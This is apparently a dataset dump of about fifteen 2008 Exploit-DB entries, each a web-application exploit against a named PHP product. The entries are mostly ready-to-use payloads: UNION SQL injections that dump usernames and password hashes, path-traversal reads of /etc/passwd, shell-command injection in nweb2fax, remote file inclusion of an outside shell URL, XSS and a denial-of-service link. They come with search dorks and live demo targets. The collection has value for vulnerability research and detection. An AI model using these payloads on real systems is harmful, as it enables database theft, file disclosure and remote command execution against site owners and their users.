QLWD/code_shield huggingface dataset:
标题: WebCalendar 1.0.4 - 'includedir' Remote File Inclusion EDB-ID: 5847 CVE: 2008-2836 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: Cr@zy_King :\ BiyoSecurity Team

WebCalendar v1.0.4 Remote FÄ±le Include

Demo - Down : http://webcalendar.sourceforge.net/

http://localhost/patch/tools/send_reminders.php?noSet=0&includedir=http://sheLLz?

Google Dork : "WebCalendar v1.0.4"

                           www.biyosecurity.com

Greatz : aLL My Friend'Z & nETKILLER

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5847
标题: nweb2fax 0.2.7 - Multiple Vulnerabilities EDB-ID: 5856 CVE: 2008-6669 2008-6668 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-18 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [  nweb2fax <= 0.2.7   Multiple Remote Vulnerabilities  ]     #
 ##################################################################
 #
 # Script site:  http://sourceforge.net/projects/nweb2fax/
 # 
 # [ Local File Inclusion Vulnerability ]:
 #  *** /comm.php?id=../../../../../../../../../../etc/passwd
 #
 # Bug:
 #
 # ...
 # $var_id=$_GET['id'];
 # $fileary = file ( "$DIR_SPOOL/log/c$var_id" );
 # reset($fileary);
 # foreach ($fileary as $line) {
 #  if( trim($line) != "" ){
 #   print "<br>$line";
 #  }
 # }
 # ...
 #
 #
 # [ Arbitrary File Download Vulnerability ]:
 #
*** /viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd
 #
 # Bug:
 #
 # ...
 # $var_filename=$_GET['var_filename'];
 # $var_format=$_GET['format'];
 # ...
 # if( $var_format == "ps" ) {
 #   $filename = "$DIR_SPOOL/$var_filename";
 #   header("Content-Type: application/postscript");
 #   header('Content-Disposition: attachment;
filename="downloaded.ps"');
 #   readfile("$filename");
 # ...
 #
 #
 # [ Remote Command Execution 1]:
 # *** /viewrq.php?format=tif&var_filename=;id%3E/tmp/id.txt;chmod%
20777%20/tmp/id.txt;
 #
 # Bug:
 # ...
 # $var_filename=$_GET['var_filename'];
 # $var_format=$_GET['format'];
 # ...
 # } elseif ($var_format == "pdf")  {
 # ...
 # $recvq_filename = "$DIR_SPOOL/$var_filename";
 # ...
 # exec("$PROG_TIFF2PS -a -O $FILE_TMP1 $recvq_filename",$exec_output,
$exec_return);
 # ...
 # 
 #
 # [ Remote Command Execution 2]:
 # *** /viewrq.php?format=pdf&var_filename=;id%3E/tmp/id2.txt;chmod%
20777%20/tmp/id2.txt;id
 #      
 # Bug:
 # ...
 # $var_filename=$_GET['var_filename'];
 # $var_format=$_GET['format'];
 # ...
 # } elseif ($var_format == "pdf")  {
 # ...
 # $recvq_filename = "$DIR_SPOOL/$var_filename";
 # ...
 #  $cmd="$PROG_CAT $recvq_filename | $PROG_GS $gs_options";
 # ...
 #  exec($cmd,$exec_output,$exec_return);
 # ...
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * sid.psycho * str0ke and otherz..
 ###############################################

 [ dun / 2008 ] 

# milw0rm.com [2008-06-18] URL: https://www.exploit-db.com/exploits/5856
标题: traindepot 0.1 - Local File Inclusion / Cross-Site Scripting EDB-ID: 5848 CVE: 2008-2839 2008-2838 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-18 漏洞利用脚本: ============================================================
  Traindepot 0.1 (LFI/XSS) Multiple Remote Vulnerabilities
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 18 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Traindepot
 VERSION     : 0.1
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/traindepot
#####################################################

--- Local File Inclusion ---

-------------
 Exploit
-------------

[+] http://[Target]/[Traindepot_path]/index.php?module=[LFI]

-------------
 POC Exploit
-------------

[+] GET http://192.168.24.25/traindepot/index.php?module=../../../../../../../../boot.ini%00 HTTP/1.1
[+] Accept: */*
[+] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[+] Host: 192.168.24.25
[+] Cookie: PHPSESSID=3954bc593bfbf164295dfabbe2459187
   
 
    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.


--- Remote XSS (query) ---

[+] http://[Target]/[Traindepot_path]/index.php?module=search

---------------------------
 POC Exploit [POST Method]
---------------------------

[+] POST http://192.168.24.25/traindepot/index.php?module=search HTTP/1.1
[+] Accept: */*
[+] Content-Type: application/x-www-form-urlencoded
[+] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[+] Host: 192.168.24.25
[+] Content-Length: 70
[+] Cookie: PHPSESSID=3954bc593bfbf164295dfabbe2459187

[+] query=<script>alert(123);</script>&search=%3F


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-18] URL: https://www.exploit-db.com/exploits/5848
标题: Basic-CMS - SQL Injection EDB-ID: 5836 CVE: 2008-2789 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## BaSiC-CMS ( index.php r )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script : BaSiC-CMS
##
## site   : www.Basic-CMS.de
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/pages/
##          index.php?r=&page_id=-74+union+select+1,1,1,convert(concat_ws(0x2F2A2A2F,version(),current_user,database())+using+latin1),1,1--
##
##  -(:: L!VE DEMO ::)-
##
##    http://demo.basic-cms.de/pages/index.php?r=&page_id=-74+union+select+1,1,1,convert(concat_ws(0x2F2A2A2F,version(),current_user,database())+using+latin1),1,1--
##
#######################
#######################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5836
标题: ThaiQuickCart 3 - 'sLanguage' Cookie Local File Inclusion EDB-ID: 5841 CVE: 2008-6735 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: =====================================================================
 ThaiQuickCart (COOKIE:sLanguage) Local File Inclusion Vulnerability
=====================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE : 17 June 2008
SITE : www.citec.us


#####################################################
 APPLICATION : ThaiQuickCart 
 DOWNLOAD    : http://www.somsak2004.net/Files/cubecart.zip
#####################################################

---LFI---

-------------
 Exploit
-------------

[+] Cookie: PHPSESSID=c480489c031b3b0fb7ad1a2c8768a9ca;sOrderQC_th=c81e728d9d4c2f636f067f89cc14862c;sLanguage=[LFI]

-------------
 POC Exploit
-------------

[+] GET http://192.168.24.25/thaiquickcart/qc/index.php HTTP/1.0
[+] Accept: */*
[+] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[+] Host: 192.168.24.25
[+] Cookie: PHPSESSID=c480489c031b3b0fb7ad1a2c8768a9ca;sOrderQC_th=c81e728d9d4c2f636f067f89cc14862c;sLanguage=../../../../../../../../boot.ini%00

    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5841
标题: P2P Foxy - Out of Memory Denial of Service EDB-ID: 5843 CVE: 2008-6742 类型: DOS 平台: WINDOWS 发布日期: 2008-06-17 漏洞利用脚本: P2P Foxy Out of memory Exploit

# Vulnerability Discovered by Styxosaurus
# Styxosaurus [at] gmail [dot] com
#
# Foxy is one of the most popular P2P software in Chinese users
# http://tw.gofoxy.net/
#
# It starts to request more memory and freeze 
# as when "&fs=" meet some large magic point.


<a href='foxy://download? xt=urn:sha1:FPLNO5OUPWLSRWYZ4J4ZNAIJLEPSIND4
&dn=music.wmv&fs=1000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000
0000000000000000000000000'>Music.wmv</a>

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5843
标题: PHP Site Lock 2.0 - 'index.php' SQL Injection EDB-ID: 5842 CVE: 2008-2865 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## PHP Site Lock 2.0 ( index.php page )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script   : PHP Site Lock
##
## version  : 2.0
##
##  Site    : www.phpsitelock.com
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/
##           index.php?page=show_article&articleid=-1+union+select+concat_ws(0x3a3a,user_login,user_pass,user_email),2,3,4,5+from+wp_users/*
##
##
##  -(:: L!VE DEMO ::)-
##
##     http://www.kalptarudemos.com/demo/phpsitelock/index.php?page=show_article&articleid=-1+union+select+concat_ws(0x3a3a,user_login,user_pass,user_email),2,3,4,5+from+wp_users/*
##
########################
########################
## -(:: NOTE ::)-
## login F0r demo :)
##
## login :  test_demo
## password:  123456
##
##  <<>>  (( Passwords => MD5 ))
######################################################################################################
######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
######################################################################################################
######################################################################################################

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5842
标题: ClipShare < 3.0.1 - 'tid' SQL Injection EDB-ID: 5839 CVE: 2008-2793 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: /************************************************************************/
             /*                                                                      */
             /*                             Clipshare                                */
             /*                                                                      */
             /*                  Remote SQL Injection Vulnerability                  */
             /*                                                                      */
             /*                                                                      */
             /************************************************************************/

 [~]AUTHOR   : SuNHouSe2 [ALGERIAN HaCkEr]

 [~]DORK     : "powered by clipshare"

 [~]VERSION  : less than v3.0.1

 [~]EXPLOIT  : 

             http://localhost/group_posts.php?urlkey=1&gid=1&tid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a3a,uid,username,pwd),6,7+from+signup+limit+0,20/*


          
             ///////////////////////////////////////////////////////////////////////////////////

             ///////    Special ThanX : His0k4 , TrYaG TeAm , & ALL Muslims HaCkErs..../////////

            ///////////////////////////////////////////////////////////////////////////////////
                                        
                                    -=-=-=-= SuNHouSe2@yahoo.com =-=-=-

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5839
标题: easyTrade 2.x - 'id' SQL Injection EDB-ID: 5840 CVE: 2008-2790 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: ######################
#
#easyTrade v2.x SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: "powered by easytrade"
#
##
###
##
#
#Script suffers from a not correctly verified detail id variable which is used in SQL Querys.
#An Attacker can easily get sensitive information from the database by
#injecting unexpected SQL Querys.
#
#We dont get any SQL Errors when the Injection Query appear to be false.
#However we have to look for content changing when we inject.
#Look at AND 1=1/AND 1=0
#
#SQL Injection:
#http://[target]/[path]/detail.php?id=[SQL]
#
#PoC:
#detail.php?id=-1%20union%20select%20USER(),2,3,4,5,@@VERSION,7,8,9,10,11,12,13,database(),15,16
#
#######################
#
#Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team!
#
#######################
####################### 

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5840
标题: Joomla! Component Simple Shop Galore 3.x - 'catid' SQL Injection EDB-ID: 5833 CVE: 2008-2568 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-16 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
@ Joomla ~ option: com_simpleshop ~ SQL Injection

------------------------------------------------------

@ AUTHOR: eXeCuTeR <executerx[at]gmail[dot]com>

------------------------------------------------------

@ HOME: milw0rm.com

------------------------------------------------------

@ DORK: :\

------------------------------------------------------

@ Vuln:
index.php?option=com_simpleshop&task=browse&Itemid=eXeCuTeR&catid=null%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8%20from%20jos_users--
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
     ~EOF~

side note:

same vulnerability listed here: http://milw0rm.com/exploits/5743
but this was sent in back in 02/2008, must of missed it.  Original author: eXeCuTeR.

# milw0rm.com [2008-06-16] URL: https://www.exploit-db.com/exploits/5833
标题: Open Azimyt CMS 0.22 - 'lang' Local File Inclusion EDB-ID: 5831 CVE: 2008-2820 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-16 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-026


Application:                    Open Azimyt CMS
Versions Affected:              0.22 minimal, 0.21 stable
Vendor URL:                     http://azimyt.net/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       07.06.2008
Vendor Response:                08.06.2008
Solution:                       YES
Date of Public Advisory:        16.06.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script azimyt/lang/lang-system.php


Code
****
#################################################

if(isset($_GET['lang'])){
  $_SESSION['lang']=$_GET['lang'];
}

if(!isset($_SESSION['lang'])){
  $_SESSION['lang'] = "second";
}

if (isset($_SESSION['lang']))
{
  $SystemLangFile = $CFG->admin_folder."/lang/lang-system-".$_SESSION['lang'].".php";
  if(!file_exists($SystemLangFile)) exit(ErrorLang::LangFile_not_load);
  require($SystemLangFile);
}

#################################################


Example:

http://[server]/[installdir]/azimyt/lang/lang-system.php?lang=../../../../../../../../../../../../../boot.ini%00



Fix Information
***************

Vendor fixed this flaw on 10.06.2008. Patch  can be downloaded here:

http://open-azimyt-cms.googlecode.com/files/security_patch.zip





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-06-16] URL: https://www.exploit-db.com/exploits/5831
标题: Nitro Web Gallery 1.4.3 - 'section' SQL Injection EDB-ID: 5830 CVE: 2008-2817 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-16 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## NiTrO Web Gallery V1.3 - V1.4- V1.41 - 1.42 - V1.43 ( albums.php section )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script   : NiTrO Web Gallery
##
## Versions : V1.3 - V1.4- V1.41 - V1.42 - V1.43
##
##  Site    : www.nitropowered.net  <<>> Download The Script :   http://www.nitropowered.net/downloads/
##
########################
########################
##
##   D0rk 1 :  allinurl: "albums.php" section cats action show CatId
##
##   D0rk 2 :  "(C) This site is NITROpowered!"
##
##     -(:: SQL ::)-
##
##    www.site.com/
##           albums.php?section=cats&action=show&CatId=-1+union+select+1,concat_ws(0x3a3a,UserName,UserPassword,UserEmail),3,4,5,6,7,8+from+tblUsers/*
##           0r
##           albums.php?section=cats&action=show&CatId=-1+union+select+1,concat_ws(0x3a3a,UserName,UserPassword,UserEmail),3,4,5,6,7,8,9+from+tblUsers/*
##             
##  -(:: L!VE DEMO ::)-
##
##     http://demo.nitropowered.de/albums.php?section=cats&action=show&CatId=-1+union+select+1,concat_ws(0x3a3a,UserName,UserPassword,UserEmail),3,4,5,6,7,8,9+from+tblUsers/*
##
########################
########################
##  -(:: Admin Panel ::)- 
##
##  www.site.com/?admin=1
##  www.site.com/admin/
###################
###################

    -(:: N0Te ::)-
 tblUsers maybe this not admin table  //  (( Passwords => MD5 ))  ;)
 
######################################################################################################
######################################################################################################
 
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 
:: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
 
######################################################################################################

# milw0rm.com [2008-06-16] URL: https://www.exploit-db.com/exploits/5830
标题: FreeCMS.us 0.2 - 'index.php' SQL Injection EDB-ID: 5838 CVE: 2008-2796 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## FreeCMS 0.2 ( index.php page )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : FreeCMS
##
## Vesrion : 0.2
##
## site    : www.Freecms.us
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/
##          index.php?page=-28+union+select+concat_ws(0x3a,admin,password)+from+admin/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://demo.freecms.us/index.php?page=-28+union+select+concat_ws(0x3a,admin,password)+from+admin/*
##
#######################
#######################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-17] URL: https://www.exploit-db.com/exploits/5838
标题: Oxygen 2.0 - 'repquote' SQL Injection EDB-ID: 5828 CVE: 2008-2816 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-15 漏洞利用脚本: ######################
#
#Oxygen 2.0 SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
##
###
##
#
#This Board Software suffers from a not correctly verified quote ID variable which is used in SQL Querys.
#An Attacker can easily get sensitive information from the database by
#injecting unexpected SQL Querys.
#We need a valid topic ID.
#Im not bored enough to code an exploit for this, so do it manually.
#Its by the way easy to find the correct prefix for the tables by producing a SQL Error.
#When injected your Query you can find the output in the Subject Text Box.
#
#SQL Injection:
#http://[target]/[path]/post.php?action=reply&tid=2517&repquote=[Sequel]
#
#PoC:
#post.php?action=reply&tid=2517&repquote=-1'%20union%20select%20concat(username,0x3a,password),2,3,4,5,6%20from%20o2_members--+
#
#######################
#
#Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the (...) h4ck-y0u Team!
#
#######################
####################### 

# milw0rm.com [2008-06-15] URL: https://www.exploit-db.com/exploits/5828